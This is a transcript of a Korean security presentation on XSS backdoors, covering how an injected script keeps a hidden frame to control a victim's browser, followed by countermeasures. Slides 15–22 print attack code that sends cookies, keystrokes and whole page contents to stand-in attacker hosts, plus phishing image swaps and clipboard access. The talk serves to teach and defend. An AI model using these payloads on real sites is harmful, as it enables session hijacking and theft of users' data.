해킹기법 시연과 대응전략 (xss backdoor) hellsonic.tistory

30
해해해해 해해해 해해해해 (XSS BACKDOOR) HTTP://HELLSONIC.TISTORY.COM

Upload: elpida

Post on 23-Feb-2016

229 views

Category:

Documents


0 download

DESCRIPTION

해킹기법 시연과 대응전략 (XSS Backdoor) http://hellsonic.tistory.com. OWASP Top 10. 어디서나 쉽게 발견되는 XSS. How Does XSS Work?. JavaScript. How Does XSS Work?. MITM. Request 스니 핑. 변조된 Response. ARP 스푸핑을 이용한 XSS. XSS Backdoor. XSS Backdoor 의 원리. ㉠ . 현재 프레임을 100%,100% 으로 생성 - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

해킹기법 시연과 대응전략(XSS BACKDOOR)

HTTP: / /HEL LSONIC .T ISTORY.COM

Page 2: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

OWASP TOP 10

Page 3: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

어디서나 쉽게 발견되는 XSS

Page 4: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

HOW DOES XSS WORK?

JavaScript

Page 5: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

HOW DOES XSS WORK?

변조된 Response

ARP 스푸핑을 이용한 XSS

Request 스니핑

MITM

Page 6: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

XSS BACKDOOR

Page 7: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

XSS BACKDOOR 의 원리㉠ . 현재 프레임을 100%,100% 으로 생성 - 실제 보여질 페이지 (main 프레임 )

㉡ . 부모 페이지에서 (hack frame) main 프레임을 제어- hack frame 에서 main frame 조작가능- 사용자가 페이지 이동을 하여도 hack frame 은 유지되고 main frame에서만 페이지 이동 .

- Hack frame 에서는 해커서버의 파일을 지속적으로 열어서 실행 ( 실시간 명령가능 )

XSS Shell

Page 8: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

IFRAME 의 특성

Main Window

None Display FrameView Frame

Target Browser

HackFrame

Width:0Height:0

Page 9: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CROSS DOMAIN

http://www.aaa.com http://www.bbb.com

Page 10: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CROSS DOMAIN

http://id.domain.com http://login.domain.com

Page 11: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

FRAME 의 생성으로 제어가능

www.aaa.comFrame 1

Frame 2(www.aaa.com)

Frame2 를 Frame1 에서 생성

Page 12: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

XSS BACKDOOR - TIME LINE

User Attacker Server

Inject XSS Code

Visit Server

Receive XSS and infected

Request Command Page(Ajax)

Receive Com-mand and excute

setInterval (req(),3000);

Page 13: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

XSS BACKDOOR 시연

Page 14: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

XSS BACKDOOR 시연HTTP://175.115.221.25/ISEC/

Page 15: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

HACK.JS (JQUERY)

var data = ‘HackFrame<script src=http://hackerserv/control.php?cookie='+document.cookie+'></'+'script><script src=http://hackerserv/'+document.cookie+'.js></'+'script>');’;

var str += "<iframe frameborder=0 id=mainframe name=mainframe height='100%' width=80% src=./ style='float:left'></iframe>";str += "<div id=hackfr style='float:left;'>HackFRAME</div>";str += "<script>";str += "function hack(){";str += “ $('#hackfr').html(data)";str += “ setTimeout('hack()',5000);";str += "}";str += “ setTimeout('hack()',50);"str += "<"+"/script>";

$("body",parent.document).html(str);

Page 16: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

KEYLOGGER(JQUERY)

$('#mainframe').keydown(function(event){$.get(http://crosssite/xss.php?

data=+event.keyCode,function(){});

})

Page 17: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CHANGE BANNER (JQUERY)

$('#mainframe').contents().find(‘#mainbanner').html(“Hi isec!”);

Page 18: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

이미지 변조 피싱 (JQUERY)

모든 이미지의 변조$(“img”).attr(“src”, “http://hack/hacker.jpg”);

Page 19: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

PAGE VIEWER(JQUERY)

var code = $('#mainframe').contents().find('html').html();//code 변수에 mainframe 의 코드가 모두 담김

Access Mail Service Frame

Page 20: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CROSS DOMAIN POST 전송

Main Frame

HackFrame

Width:0Height:0

None Display FrameView Frame1. None Display Frame 생성2. FORM(method=post) 생성3. Input 생성 -> 전송 값 삽입4. 전송

Page 21: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CROSS DOMAIN POST 전송function crossDomainPost(hackdata) {

var iframe = document.createElement('iframe');var uniqueString = 'hack2';document.body.appendChild(iframe);iframe.style.display = 'none';iframe.contentWindow.name = uniqueStringvar form = document.createElement('form');form.target = uniqueString;form.action = 'http://crosssite/xss.php?cookie='+document.cookie;form.method = 'POST';var input = document.createElement('input');input.type = 'hidden';input.name = 'data';input.value = hackdata;form.appendChild(input);document.body.appendChild(form);form.submit();document.removeChild(input);document.removeChild(form);document.removeChild(iframe);

}var hackdata = $('#mainframe').contents().find('html').html();crossDomainPost(hackdata);

Page 22: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CLIPBOARD STEAL

//ClipBoard Accessvar cp = "clip board!";window.clipboardData.setData('Text', cp);

Page 23: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

CLIPBOARD STEAL

http://code.google.com/p/zeroclipboard/

ZeroClipboard플래시 (swf) 를 이용한 경고없는 Clipboard AccessCross-Browser 지원

Page 24: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

DDOS

Page 25: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

DDOS(IFRAME)

Page 26: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

XSS 대응방안

Server-Side< &lt;

> &gt;

사용자가 입력한 <, > 를 HTML 인코딩 함으로써스크립트 사용을 방지But.. !!

필터링을 할 수 없는 경우 ?

Page 27: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

왜 <, > 필터링을 할 수 없는가 ?

Page 28: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

100% 대응방안 ?

3 주 만에 총 지급상금 4 만 달러 초과 !

Page 29: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

그럼 어떻게 ?1. DTD 선언 ( 웹 표준 준수 )

<a style=“xss:expression(alert(/xss/));”>2. XSS Database 구축 ( 정규식 이용 )

(script -> x-script 치환 등 ..)“script” -> “”* “scrscriptipt” -> “script”

3. 웹 개발자의 보안 인식 강화4. 주기적인 보안 컨설팅 , 취약점 점검5. 서비스 사용자의 보안 인식 강화6. 필요로 하지 않는 사이트는 게시판 에디터 (HTML) 의 사용을 금지7. 중요한 ( 로그인 , 관리자 ) 페이지와 XSS 취약점이 있을수 있는 페이지의 도메인 분리

Page 30: 해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

감사합니다 !

Question ?

[email protected]